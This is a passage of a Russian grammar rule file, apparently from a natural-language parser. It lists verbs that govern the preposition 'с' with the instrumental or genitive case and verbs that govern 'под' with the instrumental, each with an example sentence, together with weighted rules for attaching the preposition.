// покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) 